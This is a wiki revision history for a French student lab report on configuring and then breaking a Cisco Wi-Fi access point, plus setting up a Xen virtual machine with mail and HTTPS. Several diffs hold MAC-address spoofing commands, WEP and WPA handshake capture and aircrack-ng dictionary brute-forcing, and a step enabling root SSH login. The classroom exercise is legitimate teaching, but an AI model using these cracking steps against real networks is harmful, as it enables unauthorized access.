TP sysres IMA2a5 2015/2016 G4 - Historique des versions

Machkra le 6 décembre 2015 à 22:12

2015-12-06T22:12:09Z

Machkra le 4 décembre 2015 à 22:19

2015-12-04T22:19:16Z

Machkra le 27 novembre 2015 à 09:55

2015-11-27T09:55:44Z

Machkra le 23 novembre 2015 à 16:17

2015-11-23T16:17:49Z

Machkra le 20 novembre 2015 à 11:30

2015-11-20T11:30:03Z

Machkra le 20 novembre 2015 à 10:49

2015-11-20T10:49:21Z

Machkra le 20 novembre 2015 à 10:36

2015-11-20T10:36:15Z

Machkra le 20 novembre 2015 à 10:04

2015-11-20T10:04:39Z

Machkra le 20 novembre 2015 à 08:41

2015-11-20T08:41:06Z

Machkra le 19 novembre 2015 à 10:31

2015-11-19T10:31:03Z

@@ Ligne 192 : / Ligne 192 : @@
 <pre>
 ssh root@cordouan.insecserv.deule.net // pour se connecter au serveur hébergeant nos machines virtuels
-xen-create-image --hostname dragon --ip 193.48.57.183 --netmask 255.255.255.240 --dir /usr/local/xen
+xen-create-image --hostname dragon --ip 193.48.57.180 --netmask 255.255.255.240 --dir /usr/local/xen
 </pre>
 Après l'installation de la machine virtuel, quelques changements sont obligatoires :

@@ Ligne 213 : / Ligne 213 : @@
 </pre>
 <h3> installer le mail server </h3>
+après la configuration du DNS, on passe à la configuration du mail, ce dernier nous aidera ensuite à la réception du certificat https de gandi.
 <pre>
-  apt-get install postfix
+  apt-get install postfix // on installe postfix
-  vi /etc/aliases => ajout de : admin:         root
+  vi /etc/aliases => ajout de : admin:         root // on ajoute un utilisateur qui recevra les mail adressé à admin@loveandpeace.lol
-  apt-get install mailx
+  apt-get install mailx // on installe mailx
-  apt-get install bsd-mailx
+  apt-get install bsd-mailx // on installe bsd-mailx
   newaliases // recompiler les alias
-  mailx
+  mailx // on vérifie notre boite mail
 </pre>
+<h3> Sécurisation du site en https</h3>
 <pre>
    <VirtualHost 193.48.57.180:443>
@@ Ligne 230 : / Ligne 284 : @@
          ServerName www.loveandpeace.lol
          ServerAlias loveandpeace.lol
-         DocumentRoot /var/www/www.loveandpeace.lol/
+         DocumentRoot /var/www/www.loveandpeace.lol/  //ici, on met la racine de notre site en mode https
          CustomLog /var/log/apache2/secure_access.log combined
          SSLEngine on
          SSLCertificateFile /root/dragon.crt
          SSLCertificateKeyFile /root/dragon.key
@@ Ligne 241 : / Ligne 296 : @@
    </VirtualHost>
 </pre>
 <pre>
-  cat /root/mbox
+// on prends en compte les modifications
-  nano /root/mbox
+a2ensite 000-domain.tld-ssl
-  nano dragon.crt
+a2enmod ssl
-  ls
+//on redemarre le serveur apache
-  nano gandi.cert
+service apache2 restart
-  mv dragon.crt dragon.cert
+</pre>
 </pre>

@@ Ligne 52 : / Ligne 52 : @@
 <h4>1) Configuration du point d’accès Cisco </h4>
-Dans un premier temps, il nous faut programmer le point cisco par le biais d'une connection série.
+Dans un premier temps, il nous faut programmer le point cisco par le biais d'une connexion série.
 Après avoir branché le point d’accès en mode série, on se met en mode root et on lance le programme Minicom
@@ Ligne 60 : / Ligne 60 : @@
 </pre>
-une fois l'accés au point wifi est réalisé, on accède à sa configuration global :
+une fois l’accès au point wifi est réalisé, on accède à sa configuration global :
 <pre>
 ap#enable
@@ Ligne 66 : / Ligne 66 : @@
 </pre>
-Ensuite, on configure notre point d'accés afin qu'il autorise l'accés a certaine adresse mac et bloque le reste/
+Ensuite, on configure notre point d’accès afin qu'il autorise l’accès a certaine adresse mac et bloque le reste :
 <pre>
-ap(config)#access-list 701 permit  00015.afe6.edb3  0000.0000.0000
+ap(config)#access-list 701 permit  00:15.afe6.edb3  0000.0000.0000
 ap(config)#access-list 701 permit  0015.afe6.edc4  0000.0000.0000
 ap(config)#access-list 701 permit  0015.afe7.2dfb  0000.0000.0000
 ap(config)#access-list 701 deny    0000.0000.0000  ffff.ffff.ffff
 </pre>
+Les adresse mac autorisé sont : 00;15:af:e6:ed:b3 et 00:15:af:e6:ed:c4 et 00:15:af:e7:2d:fb
 Une fois l’accès par adresse Mac est configuré, on passe ensuite par la configuration du SSID
@@ Ligne 94 : / Ligne 94 : @@
 ap(config-if)#no shutdown
 </pre>
-Le réseau est crypté par une clé wep, et ensuite lancé une fois le point d’accès est allumé.
+Le réseau est crypté par une clé wep, et se lance une fois le point d’accès est allumé.
 <h4>3) Configuration des eeePC </h4>
@@ Ligne 142 : / Ligne 142 : @@
 <h4>Crackage de la cle wpa</h4>
 la particularité de ce crackage est le fait de trouver le handshak :
-Pour cela on commance par la ligne de commande suivante :
+Pour cela on commence par la ligne de commande suivante :
 <pre>
 airodump-ng -w out --encrypt wpa -c 11 --bssid 04:d4:d2;9c:50:54 mon0
 </pre>
-Une fois le handshak est obtenus, on cree un dictionnaire pour le bruteforce sur notre cle wpa, pour cela on cree un petit programme en C:
+Une fois le handshak est obtenue, on crée un dictionnaire pour le bruteforce sur notre clé wpa, pour cela on cree un petit programme en C:
 <pre>
 #include <stdio.h>
@@ Ligne 163 : / Ligne 163 : @@
 </pre>
 une fois le dictionnaire est créer, on utilise aircrack-ng ainsi que notre fichier capture(avec le handshak)
+Le bruteforce prend une heure pour tester toutes les possibilités avant de trouver la clé wpa
 <pre>
                                   Aircrack-ng 1.2 beta3
@@ Ligne 189 : / Ligne 189 : @@
 Dans cette partie, on s'occupera de la création de la machine virtuel :
 <pre>
 ssh root@cordouan.insecserv.deule.net // pour se connecter au serveur hébergeant nos machines virtuels
 xen-create-image --hostname dragon --ip 193.48.57.183 --netmask 255.255.255.240 --dir /usr/local/xen
 </pre>
-Après l'installation de la machine virtuel, qhelques changements sont obligatoires :
+Après l'installation de la machine virtuel, quelques changements sont obligatoires :
 <pre>
-// autoriser l'access root
+// autoriser l’accès root
 nano /etc/ssh/sshd_config allow root login (without password)->yes
 // dessinstaller les packets network-manager systemd
 apt-get purge network-manager systemd
 // pour passer via le lien ssh au lieu du lien série
 init tab ==> sur la ligne 45 on change le tty1 par hvc0
 </pre>
-Après la configuration de notre machine virtuel, il faudra retenir :
+Après la configuration de notre machine virtuel, il faudra retenir que :
 <pre>
-Pour ouvirir la machine pour la première fois ou après l'avoir éteinte  : xl create /etc/xen/Werewolf.cfg
+Pour ouvirir la machine pour la première fois ou après l'avoir éteinte  : xl create /etc/xen/[nom de la machine].cfg
-Pour l'ouverture d'une machine virtuel on utilise la commande: xl console Werewolf
+Pour l'ouverture d'une machine virtuel on utilise la commande: xl console [nom de la machine]
 Pour eteindre la machine on utilise la comande : halt
 </pre>

← Version précédente		Version du 23 novembre 2015 à 16:17
Ligne 221 :		Ligne 221 :
	</pre>		</pre>

		+
		+	<pre>
		+	<VirtualHost 193.48.57.180:443>
		+
		+	ServerName www.loveandpeace.lol
		+	ServerAlias loveandpeace.lol
		+	DocumentRoot /var/www/www.loveandpeace.lol/
		+	CustomLog /var/log/apache2/secure_access.log combined
		+
		+	SSLEngine on
		+	SSLCertificateFile /root/dragon.crt
		+	SSLCertificateKeyFile /root/dragon.key
		+	SSLCertificateChainFile /root/gandi.crt
		+	SSLVerifyClient None
		+
		+	</VirtualHost>
		+	</pre>

	<pre>		<pre>

@@ Ligne 219 : / Ligne 219 : @@
   newaliases // recompiler les alias
   mailx
 </pre>

@@ Ligne 158 : / Ligne 158 : @@
+}
 </pre>
+On execute le programme en redirigeant sa sortie vers le fichier dictionnaire :
 <pre>

@@ Ligne 139 : / Ligne 139 : @@
 airmondump-ng mon0 --channel 5 --write capteur --bssid 04:d4:d2;9c:50:54 mon0
 aircrack-ng capture-01.cap
 <h2>Partie II - Installation de ma machine virtuel </h2>

← Version précédente		Version du 20 novembre 2015 à 08:41
Ligne 131 :		Ligne 131 :
	</pre>		</pre>

		+
		+	<h4> Crackage de la cle wep </h4>
		+	Dans cette partie, on s'interessera au crackage de la cle wep, pour cela on utilise le packetage aircrack.
		+	Dans un premier temps :
		+	airmon-ng start wlan1
		+	airmondump-ng mon0
		+	airmondump-ng mon0 --channel 5 --write capteur --bssid 04:d4:d2;9c:50:54 mon0
		+	aircrack-ng capture-01.cap
	<h2>Partie II - Installation de ma machine virtuel </h2>		<h2>Partie II - Installation de ma machine virtuel </h2>

← Version précédente		Version du 19 novembre 2015 à 10:31
Ligne 122 :		Ligne 122 :
	</pre>		</pre>

		+	<h4> Intrusion par Adresse Mac </h4>
		+	Dans cette partie, on cassera la sécurité Wifi, pour cela il faut juste changer l’adresse Mac de notre PC :
		+	Pour cela, on utilise les lignes de commande suivante :
		+	<pre>
		+	ifconfig wlan0 down
		+	ifconfig wlan0 hw ether 00:15:af:e7:2d:fb (PC d' Eric)
		+	ifconfig wlan0 up
		+	</pre>

	<h2>Partie II - Installation de ma machine virtuel </h2>		<h2>Partie II - Installation de ma machine virtuel </h2>
		+
		+	Dans cette partie, on s'occupera de la création de la machine virtuel :
		+	<pre>
		+	ssh root@cordouan.insecserv.deule.net // pour se connecter au serveur hébergeant nos machines virtuels
		+	xen-create-image --hostname dragon --ip 193.48.57.183 --netmask 255.255.255.240 --dir /usr/local/xen
		+	</pre>
		+	Après l'installation de la machine virtuel, qhelques changements sont obligatoires :
		+	<pre>
		+	// autoriser l'access root
		+	nano /etc/ssh/sshd_config allow root login (without password)->yes
		+	// dessinstaller les packets network-manager systemd
		+	apt-get purge network-manager systemd
		+	// pour passer via le lien ssh au lieu du lien série
		+	init tab ==> sur la ligne 45 on change le tty1 par hvc0
		+	</pre>
		+
		+	Après la configuration de notre machine virtuel, il faudra retenir :
		+	<pre>
		+	Pour ouvirir la machine pour la première fois ou après l'avoir éteinte : xl create /etc/xen/Werewolf.cfg
		+	Pour l'ouverture d'une machine virtuel on utilise la commande: xl console Werewolf
		+	Pour eteindre la machine on utilise la comande : halt
		+	</pre>